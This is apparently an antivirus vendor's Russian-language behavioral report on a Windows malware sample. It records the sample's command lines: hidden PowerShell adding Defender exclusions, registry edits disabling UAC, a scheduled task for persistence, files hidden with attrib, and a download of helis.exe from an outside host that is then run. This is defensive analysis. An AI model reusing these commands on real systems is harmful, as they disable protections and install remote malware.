Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\updatehelis
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%APPDATA%\updatecompletehelis'"nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%APPDATA%\updatecompletehelis\helis.exe'"nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<SYSTEM32>\schtasks.exe'"nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<SYSTEM32>\'"nul
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM svcvhost.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM svchost1.exe /T
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\securityupdate\1\2\3\4\5\6\updatecompletenoerror.bat
- nul
- %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
Сетевая активность
UDP
- DNS ASK he###666.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c start /min cmd /c "%TEMP%\securityupdate\1\2\3\4\5\6\updatecompletenoerror.bat"
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\securityupdate\1\2\3\4\5\6\updatecompletenoerror.bat"
- '<SYSTEM32>\schtasks.exe' /query /tn "updatehelis"
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$currentPid = (Get-WmiObject Win32_Process -Filter \"ProcessId = $PID\").ParentProcessId; Get-Process cmd -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $currentPid -and $_....
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\attrib.exe' +h +s "%APPDATA%\updatecompletehelis"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://helis666.com/helis.exe' -OutFile '%APPDATA%\update...
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\timeout.exe' /t 2 /nobreak
- '<SYSTEM32>\attrib.exe' +h +s %APPDATA%\updatecompletehelis\helis.exe nul
- '<SYSTEM32>\schtasks.exe' /delete /tn "updatehelis" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$action = New-ScheduledTaskAction -Execute \"$env:APPDATA\UpdateCompleteHelis\helis.exe\"; $trigger = New-ScheduledTaskTrigger -...
- '<SYSTEM32>\timeout.exe' /t 1 /nobreak
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "[System.Diagnostics.Process]::Start('schtasks.exe', '/run /tn updatehelis')"
- '<SYSTEM32>\schtasks.exe' /run /tn updatehelis
- '<SYSTEM32>\attrib.exe' +h +s "%APPDATA%\updatecompletehelis\helis.exe"
